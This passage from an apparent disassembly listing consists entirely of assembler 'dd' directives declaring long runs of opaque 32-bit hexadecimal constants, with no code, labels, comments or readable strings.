		dd 0C2955BE1h, 901DCB45h, 699D395Fh, 351B8ED6h,	3B91E6EFh
		dd 735DCED3h, 0B35DA7BAh, 9B286E5Ch, 0EDC4EBCCh, 604D3C17h
		dd 485CC293h, 0BEA00EACh, 89F6EBD6h, 13FB3ADFh,	0D4C275D2h
		dd 0D2F97B9Fh, 0D2DD7134h, 2C8576C2h, 7D9F7EB3h, 0A9D4A12Dh
		dd 1F3F0EDAh, 0C4771081h, 75245C8Eh, 37A14BFCh,	0DEEF139Ah
		dd 0B2EA9B2Ah, 7FE841A3h, 737B0111h, 0BA26CFB8h, 0D2EF9907h
		dd 53B5696Ah, 2CC4C7D5h, 0C7091C34h, 0FBEF7EE3h, 3166CDBAh
		dd 0DCF19E8Fh, 1C79BE34h, 1692367Dh, 65FA368Dh,	396F1AE9h
		dd 8701649Bh, 0D1F97E52h, 0C6C844C7h, 0A2783F61h, 8F2FABB3h
		dd 0FBF0982h, 76C078DEh, 0B65A957Eh, 6E3FB037h,	57251FAh
		dd 594FBFCFh, 0F84972C6h, 13FEABC1h, 8F4F0E2Dh,	573C892Dh
		dd 0ED83632Dh, 0EDB2FD95h, 0F15327A7h, 0E9EF535h, 443E3D70h
		dd 1D3265BEh, 13D2B056h, 55490BF3h, 0A959E154h,	52F25EDEh
		dd 25D8964Ch, 0B56B5AFFh, 74249C87h, 7970028Bh,	69178878h
		dd 0BC221A26h, 854E386h, 6833E624h, 626A15F7h, 0B213841Dh
		dd 0D88A72ACh, 0E3D3C9C6h, 0C487965h, 0D150AA75h, 1D44278Ch
		dd 0CC993926h, 709F1D8Bh, 1633E0C1h, 8511FC9Fh,	17F115A0h
		dd 8912DD40h, 0F36539E8h, 8C379292h, 8759A082h,	740F48E3h
		dd 91BD2FFAh, 0D6242204h, 0CE14AF03h, 0ABE315C4h, 1E1AFE05h
		dd 0EC426BFEh, 5A252167h, 930EBF65h, 6A247D88h,	47987B9Bh
		dd 0E8DBCE6Dh, 9864756Eh, 362AF54h, 67A22DE9h, 0D91C188h
		dd 5EE25EA4h, 5D79B4ABh, 0C32FBD8Ch, 511F930Ah,	8B916F34h
		dd 0C4AE411Ah, 34039A80h, 0B30035AFh, 0D936E5B2h, 0DBFFC7DEh
		dd 0E3C92796h, 7A39A867h, 2ADDFB71h, 0A7994976h, 0B36AC162h
		dd 0F90DAC28h, 2442AC27h, 92070AD3h, 5C3970E0h,	0A4EC7E7Ch
		dd 64673DFBh, 3E55C4E9h, 0B4CFAE1Eh, 92ED6C6Dh,	33C6B540h
		dd 0D96A93AEh, 0D87B0E66h, 4C8563D0h, 0F2264911h, 0D186F447h
		dd 0E4A0FC4h, 7652C44Eh, 86A29276h, 0D2B66473h,	7EB178E9h
		dd 9F13642Ch, 0B1D49D54h, 0CFDD375Ah, 2006FF79h, 60932F9Ah
		dd 0DCD53E82h, 8BDA4CBBh, 0E0C919EFh, 980F9BA0h, 0D87F18B8h
		dd 0BFC24390h, 50EA1CA7h, 2A648717h, 1ED21D6Eh,	5E87E80Ah
		dd 334CCBA2h, 0A5C1A05Bh, 741E6748h, 593E2275h,	877AA6B8h
		dd 0F869442Ch, 4593A6E5h, 0A510465h, 342390C4h,	697CC781h
		dd 48FC3EF0h, 0E1BB0C2Ch, 717D4524h, 0E5ABB523h, 73F3C2DEh
		dd 9E03483Eh, 255AB12Dh, 539DC4E2h, 92FC3A47h, 0EB6B641Ah
		dd 0BC0BB57Eh, 0DD90A8Eh, 0E117D2ABh, 0C656FEE8h, 8D06389Eh
		dd 0D54570FAh, 6EAD4FEFh, 17BA9AE1h, 2C5121ABh,	0A3DA55D2h
		dd 525A1F87h, 0E9EAEC0Ah, 0DDE95D8Eh, 8FF5260h,	8B48168Ch
		dd 449E847Ah, 3399763Fh, 9D896112h, 601C21B1h, 2F96F2A8h
		dd 800DF0E0h, 234454E1h, 87D739Fh, 17FD8A24h, 949D5F7Ah
		dd 0EBDFF4D6h, 17856D19h, 2F5A40F0h, 661F6FD1h,	0D0DDE36Ch
		dd 6E052490h, 0D4831F87h, 5A5DBC1Eh, 5E7D1D16h,	0A6F0630Fh
		dd 0BD20BCF8h, 5F810376h, 0BF351527h, 8E1300Dh,	2C5A290Ch
		dd 0CC1874E9h, 7FC05B49h, 306D05DBh, 3EAF05BEh,	0B73CC254h
		dd 3A0E10ABh, 1E3F32BBh, 596270BFh, 0BDCA1CBEh,	21D9E6C1h
		dd 22F601B0h, 1D2614A9h, 0C8749448h, 0CC84FD2Fh, 58CD2E3Dh
		dd 4881936Ah, 1BA3FE1Ah, 24837029h, 0F8146836h,	60E288ECh
		dd 983CED68h, 4F830B86h, 0C9860725h, 39059240h,	4E32B46Dh
		dd 88C88F50h, 8186E251h, 4EA3A5BAh, 0BC16513Bh,	300B4725h
		dd 0A23BB5B9h, 0F232783Bh, 0FECBBDE1h, 0E66AEC4Ah, 0AC66EFFAh
		dd 0DB49565Bh, 879BD777h, 30F959DFh, 9A47C23Eh,	30002D26h
		dd 7150B888h, 2B327367h
		dd 0F85E7E8Bh, 0CABD497h, 5ACB12A4h, 6FCA9DB9h,	0A3340AC9h
		dd 0A998D92Dh, 0C1AD6E89h, 0F252954Bh, 8F35976Ah, 0FF71ED2Fh
		dd 3D43E548h, 3CB6886Bh, 0AE8A63DDh, 6D297222h,	2018D47Ah
		dd 3845BDE7h, 0CDAF1292h, 8283DD28h, 664624E4h,	7D5E994Dh
		dd 9CA515D8h, 8C557BC3h, 0D858EF1Bh, 2DCB8BCFh,	0CD2F187Fh
		dd 71C7D645h, 0A1274288h, 0DD9FF200h, 0B7DAA904h, 0C6351FF6h
		dd 11A65B6Bh, 6EC165E4h, 0F736160Dh, 59CE080Ch,	9DE84CD4h
		dd 0A2186F6Eh, 0E687F75h, 3F4A5BA1h, 0C7108833h, 4D9F7770h
		dd 0F9F2CF7Bh, 0CB660E80h, 0D9EF9446h, 4C339162h, 3F603D27h
		dd 83C46615h, 4558DC3Fh, 85FBFDAAh, 0EA39536Dh,	8E524C92h
		dd 0A4A7CD75h, 0BE7F9A42h, 649046F8h, 30F9EB4Fh, 8EFE36A4h
		dd 2A775E20h, 832A0305h, 0A5CE3E96h, 0EDCE96F0h, 6CCD8463h
		dd 1FA435BBh, 57FC3DEAh, 4112FF7Bh, 52D362ABh, 8A86C990h
		dd 90DD1DA7h, 0D5DB45BAh, 46D70A16h, 823B56Dh, 78E54650h
		dd 93AC0C5Ah, 0B8803DB4h, 9181ED5Eh, 0E859E36h,	32FBCDCCh
		dd 5949B5F0h, 3AAA4B5Dh, 5338CDDCh, 7A4B90D4h, 437C2FAEh
		dd 17B77BBFh, 0DA6C5FD1h, 0D43D1556h, 649379CCh, 0E81A4F8Ch
		dd 0E38143CDh, 59110D98h, 286A6504h, 80A3EF65h,	159298DEh
		dd 74E12591h, 0EA51F654h, 0C1234B2Fh, 0F901DB62h, 3BA55D43h
		dd 9C54855Dh, 0E6EDF4E3h, 5685DB05h, 9B3FB90Ch,	0D4FD3C65h
		dd 7BD69EE0h, 2BFD3B96h, 451ABD44h, 7D0FE976h, 7CD6E810h
		dd 0B7809BB9h, 0C3B07E16h, 29959CD2h, 98ED3D17h, 733CE05h
		dd 0C16C3F44h, 23194311h, 0E27AE67Eh, 1E40FB76h, 0B62F5323h
		dd 8C5CF985h, 137C6B4Eh, 80ACF201h, 4395E1D0h, 5026A5E0h
		dd 18EC9BA0h, 90B22DA0h, 5D75CD3h, 703C2D72h, 74BC07D1h
		dd 57547739h, 5969CBE1h, 0A6758C6h, 0E84664E8h,	0E48F38BCh
		dd 918611D7h, 0C749F852h, 87BE00CCh, 0B2C04D31h, 20E4F310h
		dd 0F1603659h, 4AEE6249h, 62AA12F0h, 6D712DC0h,	0B4426E89h
		dd 803C11Dh, 5FCBAA89h,	11355B2h, 33CB21B4h, 35DD1C59h
		dd 0A6EF242Ch, 64B83102h, 96BB8E32h, 216221E9h,	0B4D96098h
		dd 0D0A6F675h, 0B469DDA8h, 0F638CD41h, 0BD2171h, 0AF321A33h
		dd 0B316D18Ah, 0F8BE44D2h, 85ED58E8h, 0D1A8C4AFh, 3B91F052h
		dd 20F3342Bh, 7A6CB2BCh, 13340813h, 0E7BC8D5Ah,	3F88D5Dh
		dd 3CDE1855h, 21B32A98h, 0B89D132Ch, 837A983Ah,	647F5C9Dh
		dd 0C8E82A9Bh, 90E788CEh, 8D9346D1h, 0D5419E45h, 0CBF1A8D8h
		dd 4A323280h, 0F70D8436h, 0CD5F22B3h, 98805F7Ah, 0EA0E8095h
		dd 28C68F1Dh, 0CD62661Fh, 17FADB4Bh, 778A613h, 4DF4021Bh
		dd 70344CECh, 7C33178Ch, 0E95E6901h, 0C020290Ch, 8B51DB17h
		dd 0D4888286h, 0A24EF245h, 188FEB8Eh, 676879D7h, 9C3FE580h
		dd 588DA195h, 36AD1B8Ah, 5622443Bh, 0F0FCDC1Fh,	0A7C84286h
		dd 344804FBh, 82B24BECh, 95000A75h, 0D4725A7Bh,	0A832600Eh
		dd 6D7E7B99h, 0AB8C17D7h, 371EA0EAh, 0C301F7E7h, 352A0E13h
		dd 127428FDh, 1D97D410h, 6614C379h, 0FACEF764h,	0A5894A69h
		dd 0BA002E4Bh, 3A0E7EA9h, 52CC0116h, 0A69FC59Fh, 75DDFDD8h
		dd 0ABAF64E6h, 2F563407h, 3013E0Bh, 8C90BD6Ch, 0DBCD4364h
		dd 96312985h, 48D083Ch,	0F0BD6833h, 4426E016h, 0C20328Ah
		dd 8C312A86h, 0EAEBF9EAh, 5514E6D9h, 60C554F6h,	982E09A8h
		dd 55815192h, 8A946324h, 3A20CF4Dh, 0C9984B74h,	8B82DFCh
		dd 9DF8B44h, 8EF778Fh, 0E582FC31h, 329F00CAh, 37C2DFC4h
		dd 0A0033CCBh, 0E15A4D28h, 0A11C4670h, 5773878Eh, 3FBC0D9Bh
		dd 7B2FEA84h, 33EEA382h, 21E81C2Bh, 81D358A8h, 0A0EA18C0h
		dd 8B70A888h, 2CAC6CE8h, 2E69B508h, 0CECF5924h,	2F63DCA8h
		dd 3D0D34FEh, 49BE22Dh,	81F3BA0Ah, 0DE264B78h, 3A4AD21Ah
		dd 0EF11E25Ch, 91305A4Fh, 0BFA3C30Bh, 2A93E3B8h, 11863419h
		dd 25427F30h, 714C675Dh, 0F1DD0CD7h, 3B1C1ACCh,	96C4EE0Ch
		dd 3A1964B1h, 7B41CA7h,	8A373EB1h, 21B02F79h, 44E96CAEh
		dd 9F4D3489h, 0FF80B322h, 0C1049101h, 0D86B9A1h, 0BBC18F86h
		dd 2AF7B6FAh, 52C89E79h, 7390A39Eh, 0CBE986D8h,	66E81457h
		dd 4D441DE3h, 2DE03996h, 20A47CE1h, 0DA84F9BFh,	9B29BBCDh
		dd 0B9EE5188h, 1EE5DE22h, 0CAF64354h, 54A72875h, 39945B2Ah
		dd 3E20FE5Ah, 64C0E3A3h, 9FB1D268h, 0DAC91E6Dh,	2AEC2695h
		dd 78B7FD9Ch, 31586AF7h, 15A61548h, 5F141244h, 69788DC1h
		dd 9E8EA40Fh, 646B8130h, 0A48836B0h, 0DFB13C3Bh, 3D72F886h
		dd 861868AFh, 20C02FFh,	156E88CAh, 0F6EF56AEh, 8075BEA8h
		dd 602F1D9Dh, 59D47C3Dh, 4C12B6C8h, 2E293497h, 24C42AD7h
		dd 0FC2A75Eh, 39D1C61Bh, 98A2076Ah, 0BF1E4739h,	95F11C5Dh
		dd 1C0E8ADCh, 651398B6h, 4BA73023h, 0F7399CFAh,	0D13D1326h
		dd 0B4E6F7C3h, 0EA19571Bh, 2E43B560h, 104505DDh, 199AB20Eh
		dd 98EF6F11h, 0D7E6C1E4h, 555BE7h, 0A446C698h, 0DB6B3B99h
		dd 0C3483435h, 0A1DC7BD2h, 2A46C750h, 0D763511Ah, 77837523h
		dd 0DC90E587h, 1DECD30Eh, 15383D8Fh, 0A5499260h, 0F4C215BAh
		dd 83B3767Ch, 0DB68AC43h, 9532857Eh, 1D349AFDh,	3A74A6E7h
		dd 0D28B98A9h, 0F1B7EBB5h, 7D269AE0h, 0DEBE09Fh, 1FB423EBh
		dd 160100A3h, 8B6959DAh, 0EE5E5B6Bh, 2A3464BAh,	100C3B99h
		dd 38E7EEB1h, 0FB684D5Ah, 24D14282h, 84AFF4B1h,	0A5DA552Eh
		dd 0A0A1B240h, 89A8A889h, 26833DDBh, 220D02A6h,	0FCE58A1Ch
		dd 3F7BF61Bh, 0A26AB661h, 0A0E90EF4h, 17712652h, 3CC5B255h
		dd 0B5ECAA90h, 61134A06h, 421727E4h, 0DAFF3919h, 1112E54Ah
		dd 838DBFF9h, 77443A73h, 34B74DC1h, 0C884F809h,	0D35C9322h
		dd 62FD9981h, 35E1F24Fh, 91F50D21h, 0E76AADFFh,	6ABDEFECh
		dd 0FCC95BCEh, 2B399C89h, 92A2932Eh, 85407297h,	3F6A1E49h
		dd 0A85D6786h, 0EDE0C6A6h, 1C1C1EA3h, 0C34C6806h, 1AEF63Ah
		dd 0EE900B1Ah, 8E21F423h, 4BA419FFh, 63F5A225h,	0DDC76971h
		dd 0A0B96D02h, 4F810A27h, 0A11DE5D9h, 0BC66E1FEh, 48DF6B3Bh
		dd 9779F4BEh, 0B34C30C0h, 55DD10C5h, 41625148h,	0EB7F05Fh
		dd 1BC59B9Eh, 0E79228BFh, 8BF1AC50h, 5442ED4Ch,	87CA16F5h
		dd 0C15068B0h, 0FC5D5BE9h, 2FA8BA09h, 515A4D6Bh, 0B5B6151Eh
		dd 0E363CB7Ah, 9FB3F411h, 6F594AC4h, 0E0C91F45h, 8B60D2B7h
		dd 65F76877h, 788C3C43h, 44785CE4h, 45046449h, 59814416h
		dd 0D68C33BFh, 0D47BB834h, 501371E7h, 4128C7B1h, 8B22FAF3h
		dd 0D0DA2B44h, 3EC69C8Ah, 0BBF53150h, 39A88514h, 85716E8Bh
		dd 1F761517h, 953D3CFEh, 55550B73h, 95AAA693h, 0E6C74167h
		dd 87C6BEA6h, 6DFB46E5h, 42ABAB72h, 3644D12Ch, 88BAD237h
		dd 40FB9962h, 0D3F26696h, 0AF602677h, 4B1B1F94h, 81AD7FB6h
		dd 7504659Fh, 0A4E12B85h, 0E79D52D3h, 0C268D731h, 88201C8Eh
		dd 0EC515CE1h, 0F7C2F351h, 0DE612780h, 50D47FD8h, 0E33EF92h
		dd 6380EE57h, 67B36FCFh, 5A4B6330h, 29F7A8F5h, 0CD35091Dh
		dd 28A6025Fh, 0F7C315DFh, 31B7C18Eh, 9C14227Ch,	84681690h
		dd 815D8CF5h, 0D3BD96E0h, 14793C3Ah, 0FC0D40A1h, 7FBAD1E4h
		dd 5976CBF6h, 0E2F0D871h, 0D2A35021h, 0AA93D49Ch, 3AB9F279h
		dd 0CDE8EDEEh, 0BAC315C2h, 8CF876A9h, 0AD226808h, 87F1A08Dh
		dd 4A95FDCAh, 0B556650Fh, 2DE3EEB4h, 4135E8ADh,	0A70EEF51h
		dd 68D78C42h, 2A21AA7Dh
		dd 83F03945h, 7A30EF8Bh, 0BEC21E56h, 2E46D46h, 6479DEB4h
		dd 0B28FB479h, 73244BDDh, 4FB89E89h, 4E27487Dh,	5BCF669Bh
		dd 6F6BDA47h, 75623687h, 0D54D2F12h, 83908B1Ch,	0CCEA3349h
		dd 87139D47h, 894EAC6Fh, 2D02C7E8h, 75CC11F3h, 0CA94C465h
		dd 0E676EA42h, 0FF17A63Dh, 14588ED7h, 2C27E856h, 0FCD819EFh
		dd 413F964Ah, 0F2FFA7B5h, 7DCFC58Bh, 0DB3FB499h, 0FF16C4B5h
		dd 0E217711Ah, 0F5A2CE22h, 0EDAAFC73h, 73DE1BE1h, 7BA9B26Ah
		dd 445AF213h, 38C73E8Fh, 4B6B0F2Eh, 0AA5575FEh,	0A509D01h
		dd 8A18532h, 4977AEA1h,	894F2C83h, 8ABAE813h, 87AE769Ch
		dd 34276CB2h, 494CB356h, 25D74E4h, 0B783D1A2h, 87035F8h
		dd 0BC87C13Eh, 0D5DD4F48h, 32C6DC78h, 1E65307Ch, 484200D1h
		dd 6E8DD139h, 860C2FEAh, 141FFDF7h, 62B23422h, 0B1329711h
		dd 0DCDB2CDh, 0D19BD6EEh, 32A55DBBh, 0B817BAE1h, 0E2845B0Ch
		dd 20AC59CBh, 0D635CCEEh, 5753D154h, 3AFCAA75h,	6F77A41Bh
		dd 0D8C7C8A7h, 2BAE076h, 9DF32DFEh, 44AC62Eh, 0AEFB24A7h
		dd 5050F403h, 7191AF2h,	651DFBE7h, 4E4F7BFFh, 0BC8FF211h
		dd 5E3A70A9h, 77BC1E24h, 0C890D945h, 2B6B363h, 3F134192h
		dd 0A2513A93h, 5C289C86h, 3C4382B4h, 0DF874534h, 35371A93h
		dd 4514B1EFh, 0D88C1DA0h, 630E006h, 39A7955Bh, 3C1629D4h
		dd 93402CFEh, 0F5E78EEEh, 6D2C116Eh, 32167B44h,	493D1DDh
		dd 7EC30EB3h, 1DC079FEh, 6539AA80h, 27E9DA42h, 40B36A08h
		dd 65C21D3Fh, 0D8E95FBFh, 741FA82Eh, 3FA92CBEh,	7B089963h
		dd 4F1BCBA2h, 0C2CD3E87h, 0D3937E93h, 0F4B7D763h, 16CBCC5Fh
		dd 0BC51C71Dh, 0ACFFA508h, 6F7A99D6h, 1EC5BF8Eh, 0F9E72B8Dh
		dd 39FB3209h, 8C0F7644h, 0DD075E65h, 0A4A701F8h, 0B11EF4B7h
		dd 0DEDEB62Ch, 0E41B58BAh, 0B56CD12Dh, 3602A8EAh, 0EF431D89h
		dd 0AFC8A07h, 7B94E179h, 339359BBh, 769292F7h, 0E6124361h
		dd 3279C55Eh, 0F0A8D88Bh, 0BD0001D1h, 1365B304h, 918051BBh
		dd 73332734h, 13D7BB5Eh, 5CFA0D30h, 1CBA7C97h, 0E3679802h
		dd 0EEEC9211h, 5334ABAEh, 80C60930h, 0F24F1BE6h, 0BE4EF2F5h
		dd 7177D720h, 0BA21B485h, 32B8491h, 59809FF3h, 0FA547992h
		dd 8E06411Fh, 0E8F5AEF8h, 8AE85B56h, 0DBFDFAF4h, 739EC306h
		dd 0B5408283h, 9660C549h, 71044089h, 358D32AAh,	48E78A4Bh
		dd 0BB5D26E4h, 1A95F007h, 2A2AF8E2h, 0B6EBD707h, 7FF912D8h
		dd 0BA59518Bh, 0B9E05892h, 0D90666A6h, 0E2141AEAh, 1B1EF654h
		dd 45953770h, 79C49A4Ah, 82E9082Ah, 0C86C53BAh,	89762EA3h
		dd 9BF498EEh, 0C3B35032h, 0CF12C81Dh, 4C64A944h, 0A8649742h
		dd 0FF3009EEh, 380B08F0h, 1CBC4194h, 1188E4D9h,	64EBDF33h
		dd 7E3C860Eh, 51741C39h, 0D7105A50h, 0C26E73C4h, 6C2E5CC1h
		dd 4FDC427Ah, 0DF03B9Bh, 57211BA5h, 0AA6C3ECFh,	15A96071h
		dd 0C59208F3h, 0DBA191DDh, 674A0335h, 2DD72BC2h, 8C86FF5Dh
		dd 98659B9h, 0F5CE6C5Ch, 8185FBBEh, 7A8349Ch, 0D5BEC916h
		dd 0E3E48F1Ch, 0B7AA8FC7h, 7AC07DD3h, 0BE554A99h, 0CA4EF6A6h
		dd 0C9BA7D4Dh, 250E76CEh, 0D77E5655h, 0F289E224h, 0FD79EB48h
		dd 9B124BCCh, 691AA6E0h, 3FE35B6Ch, 255694D9h, 0B344CCD6h
		dd 8047AC2Dh, 6636E1B3h, 0EF79030Ah, 0B0ECF42h,	4A54683Fh
		dd 0F0B0EDC2h, 56800151h, 77D800E9h, 3D9545B5h,	3D094F20h
		dd 0E87C5C7Ch, 0EA7D4288h, 0AB7D7486h, 8F8A4353h, 0B3E7F1C5h
		dd 0CA1F871Ah, 583723D1h, 0EC0C1EE0h, 0D7C19D4Ch, 0CFE6D318h
		dd 272B8E86h, 47DD159Fh, 0E199C4F0h, 0F77AD5CFh, 0EBBB2558h
		dd 0E8EBEC63h, 4E705580h, 0FB7A5043h, 9C73D262h, 2C49655Ch
		dd 90533049h, 947B0A05h, 86203A9Dh, 374745D9h, 15CE2BD5h
		dd 7B8EC687h, 706C94EEh, 8F63316Ch, 39753F93h, 0C078CE9Fh
		dd 5461D72Fh, 77297474h, 76CD0EE4h, 6B103CEAh, 0B1004EC0h
		dd 534D3B7h, 0D367472Ch, 25E57F31h, 650FE229h, 98880251h
		dd 0CDAD058Bh, 6B3BB873h, 0C2BFBA73h, 0AFD01B28h, 38EE96E1h
		dd 136395D9h, 963EE436h, 1E145F00h, 43F70811h, 245BCD95h
		dd 21B50D3Ch, 0BDD0685Fh, 0D87F8608h, 911FE4FEh, 0FBA3F90Eh
		dd 1BDD7EA7h, 77B34A6Ah, 9CA14A0Ch, 17E1D5FBh, 523B6BFEh
		dd 8D369258h, 0B96BD756h, 0E3792088h, 0B455E8Bh, 2BEF1B94h
		dd 0EE10C159h, 32EBC019h, 0DE2ED6CFh, 880A9C73h, 7D754F3Fh
		dd 4570D09Fh, 0CC4836Bh, 310F7262h, 821422CBh, 0D961A657h
		dd 836225B3h, 0F6844726h, 1B95757Ah, 0BA24ACA5h, 5B3D8E88h
		dd 2ADCFBC5h, 0FB15CBA2h, 0B5217595h, 0B28E0D41h, 0B0A80D6h
		dd 0F1249212h, 10ADEED0h, 65C99A72h, 0F73ADC0Bh, 0EBB983Eh
		dd 37924196h, 1925E7DDh, 2436AFCCh, 8973A9D6h, 0C8D665CAh
		dd 0AC73B8FDh, 1C5A7978h, 9B375A4Eh, 0CBDBF3D9h, 2F65B2F3h
		dd 424AD245h, 457467FFh, 0AEEAED08h, 50EC979Ah,	0A3FF5C0h
		dd 2BA03B6Dh, 742229C3h, 0F14B2BBFh, 0ADFC7BB4h, 29D20C59h
		dd 0F10FEAEDh, 0B0A88355h, 0CEA53530h, 0AD39A9D4h, 0F60C192h
		dd 9EAC14D8h, 0D7F0E98Bh, 0C724919Fh, 66C0F76Fh, 0B1900340h
		dd 7F058223h, 0F7323A40h, 0BCC69830h, 483ACCA6h, 0BE95B59Eh
		dd 0A7C5FAD4h, 4147B3DBh, 18688B3Eh, 0B679C4B2h, 0D93CA96Fh
		dd 2B2769A9h, 0A6778DABh, 581C9A1Dh, 0ACFBDD1Eh, 918557Fh
		dd 0B6617A63h, 0D8FB5D65h, 55C406F4h, 0C957829Bh, 92EED99Ch
		dd 105935ADh, 0D80E69FDh, 885D5625h, 0D77A4C81h, 6B81F823h
		dd 0AFB1ED82h, 989CE878h, 15A6C93Fh, 1701689Dh,	0C6503640h
		dd 5CC2CD36h, 0F5E1AFD1h, 73C6D545h, 8EBA7EB5h,	0A2135765h
		dd 4F15543Dh, 3525788h,	0CE921E9Bh, 0F9D88061h,	0A345B25Ah
		dd 0FCBC1B39h, 765513FEh, 27BFD2E9h, 66479C90h,	288533Ch
		dd 9A9926D4h, 1BF2459Dh, 2702740Ah, 0AEBAB02Dh,	0D1569BE6h
		dd 0F920A37h, 5D662500h, 0EC3C5A5Fh, 841FBC9h, 5F7B03E5h
		dd 0CABB15EFh, 4CB45ADCh, 3170AE14h, 98D65105h,	676AB53Dh
		dd 1B8B62BBh, 5877F324h, 0F8C5E022h, 5C7A8CCEh,	7F6C4A65h
		dd 999D3EEFh, 0B1D855E1h, 48935EFEh, 47C5B1D4h,	77FAE5E7h
		dd 2585AE66h, 0B3676B14h, 61F5CB48h, 3DD4E188h,	87685996h
		dd 0E9DC538Eh, 3E9C3630h, 20965E17h, 98789144h,	0B222CCC7h
		dd 350BA505h, 8CE02FC0h, 0B6B346FBh, 7DB71E1Bh,	0E2DAF7Dh
		dd 0FA8A9EF2h, 1785D61Dh, 7F5A4908h, 0C937CFF7h, 0DE07CF8Bh
		dd 7163BBFh, 165AE89Fh,	2920C251h, 0F2284FC4h, 80C9D087h
		dd 0A2C1F6BDh, 0C62AE369h, 2DFDA267h, 0F861A8C3h, 6FADDA7Ah
		dd 0C9326C98h, 401D8595h, 0E5E8E5F4h, 5170A78h,	15A626ECh
		dd 1030A6A7h, 313FEF9Eh, 5843429Ch, 26A27427h, 46832AFDh
		dd 0BC95E985h, 0AE843CC0h, 23326E4Ch, 0CC9921E3h, 0A38724B2h
		dd 0AC03257Eh, 80177736h, 0A9FDAA62h, 0E523D027h, 5E4E854Ch
		dd 45644254h, 4BA78491h, 0ACC62A7Bh, 549A4080h,	534DE7FFh
		dd 0AAC2346Dh, 0C486771h, 0C0A0150Bh, 0E2332813h, 78006DC1h
		dd 9C00A338h, 0E7F07C28h, 58A071F8h, 0F07383Bh,	42B7B865h
		dd 0BE321643h, 4D0A4B08h, 35BB09D8h, 0BAAD0A32h, 0EDE750E5h
		dd 549FD1B8h, 3D102C87h, 179F8AA2h, 341C57E5h, 0FA8C4BECh
		dd 5D057D1h, 0F7441018h, 0F9628B69h, 5FAD03D1h,	701FF869h
		dd 0C3DF89D2h, 0E418FDF5h, 5FF77C7h, 0E28479C6h, 4055EE84h
		dd 28F6F0B5h, 87E2E86h
		dd 9113DF7h, 1CC921D9h,	0C5C0AEE4h, 0E0D7EB1Ah,	0AA9FCEh
		dd 6EE4B70Ah, 0CB15AD77h, 0F56D1FF1h, 57D3B934h, 5FAE8D6h
		dd 896D2382h, 7B63C8F4h, 4602F596h, 0D78F766Dh,	0FA747735h
		dd 35F0116Ch, 6FE49325h, 5A8D0643h, 7002BF47h, 0C4166265h
		dd 443C8D7Bh, 9343EFBEh, 612B5DF0h, 2875D8C7h, 0ADA12D3Fh
		dd 0B663B356h, 7E242232h, 0B87895FBh, 116CDD5Ah, 0C1995C26h
		dd 61E8A93Dh, 4614CF97h, 3157B775h, 528EC220h, 0E147611Ah
		dd 44C8A549h, 295C526Ch, 0F81F9051h, 42230525h,	593FED0Ah
		dd 51C70FD4h, 0D0DD9072h, 91C5E4A5h, 28C00000h,	0F904C6DAh
		dd 30858318h, 41A80980h, 8A76114Bh, 336E9929h, 190359Ah
		dd 525C616Ah, 74D43979h, 46DE3E25h, 1384DBF2h, 98B34052h
		dd 0AD723FF8h, 0E2C7C70Ch, 8B5AFFADh, 0A3F72E4Eh, 564A1A4Dh
		dd 0C875523Eh, 0F4F2EE3Fh, 1BBB0B5Fh, 0BA5F7D8Dh, 0EBC42CD9h
		dd 0BB202E98h, 84FD90F6h, 0FCC23188h, 44970DB7h, 0ED8DEE9Ch
		dd 5C93C45Eh, 0C5221C62h, 7436F039h, 3ED6CB3h, 0E8E0E07Eh
		dd 90D044B9h, 66CCA81Eh, 104EC9Ch, 9BE8F951h, 7337BD35h
		dd 52DA7B8Eh, 0A6314D80h, 0DD709C02h, 0AD8CAC5Bh, 0CF493632h
		dd 6086535Eh, 3D1EB7CFh, 0F58B3CCh, 153F27FCh, 9E3520FFh
		dd 9EEDE9C3h, 0B82F264Eh, 0CFDADF18h, 48668CBAh, 0D24DCDCEh
		dd 1C146125h, 0DAFF1A9Fh, 8D1C3A13h, 7316948Eh,	548D26C6h
		dd 6140A152h, 8FAA9A65h, 0BC46F074h, 0BBD68418h, 0D10B7C4Eh
		dd 4B618CE5h, 0B8DD3945h, 8E6EF2E9h, 550EF67Fh,	0BF421A07h
		dd 970F4366h, 9FF8A0E0h, 0F15AEB2h, 0FBA8AA30h,	0C00104BFh
		dd 0A86E6FCDh, 0F6DFB80Bh, 603FADD9h, 0C98B9323h, 38B54128h
		dd 0C276B390h, 0DA6ED9h, 80F3A3F3h, 28C985EDh, 34716FD5h
		dd 0A2F6C33Ah, 45B0C9Ch, 22241D67h, 512C5B91h, 0D0A8F91Ch
		dd 4A63909Dh, 0C5D01AECh, 0C03FD706h, 0E304E8Bh, 8D760E76h
		dd 0A46FEB33h, 53BEE5DCh, 3345841Fh, 0C84997EDh, 0A4BFF22Ah
		dd 0CA17183h, 8BC29D68h, 9F311506h, 0DA42077Ch,	79C4EA6Dh
		dd 82B8896Ah, 6A81082Eh, 2AA61F09h, 0CD38E000h,	2F6EEB2Ah
		dd 117AD8E7h, 0EABA0232h, 0B5046D0Dh, 4001C990h, 5BF172D5h
		dd 69736A22h, 5EAB9977h, 0C89F02A3h, 6A7FC496h,	45057DFAh
		dd 81C17656h, 4D71E100h, 0C8B3B194h, 0AC101BA2h, 641B0F47h
		dd 0F3333C0Bh, 0E54BEEE1h, 0A5F68555h, 36E1B219h, 0AC767E67h
		dd 7B9A4927h, 0BC7E9C49h, 384BA565h, 0D4370C6Eh, 540A940Ch
		dd 6CA0B7CCh, 0AD0C0988h, 42D7FEECh, 0FA959B05h, 635F6CABh
		dd 0B9E2D9F2h, 2129FAE7h, 31F52C02h, 0A21B4BD1h, 0F762EA86h
		dd 9A84B618h, 0EBF7FB7Ch, 0D1A338FCh, 0BA001A7Bh, 0E4053A36h
		dd 0F8F74D41h, 51ACEFB7h, 64FBF58Bh, 80B586D5h,	9578B4F4h
		dd 0F3D0F3B2h, 0ED9174AFh, 19AA59D6h, 4D759636h, 1DBAFFC1h
		dd 0E31A6858h, 0ECFABCD8h, 2673434Ch, 586D8D7Bh, 12500205h
		dd 44EFD0E0h, 0A5750512h, 71517B3Eh, 9F70EA02h,	0CCFF3AA2h
		dd 49AE52B2h, 283F98BCh, 283746F2h, 7C1B96CDh, 0B8B92E6Ah
		dd 0D10924A9h, 32FF7477h, 10D29777h, 0CF052BC3h, 0F7748ECh
		dd 6427B98Bh, 2F744D75h, 19984251h, 4CA9855Dh, 0B44AFB6Ah
		dd 7A579BA0h, 4048D8B6h, 0BE312CD9h, 0F8E0B36h,	261A943Eh
		dd 0FFCC7446h, 185A4153h, 211D94F8h, 0CB1E7DABh, 3B8DCC05h
		dd 8647348Fh, 0C1841CDCh, 2B0DED4Bh, 44856B34h,	3E269DB3h
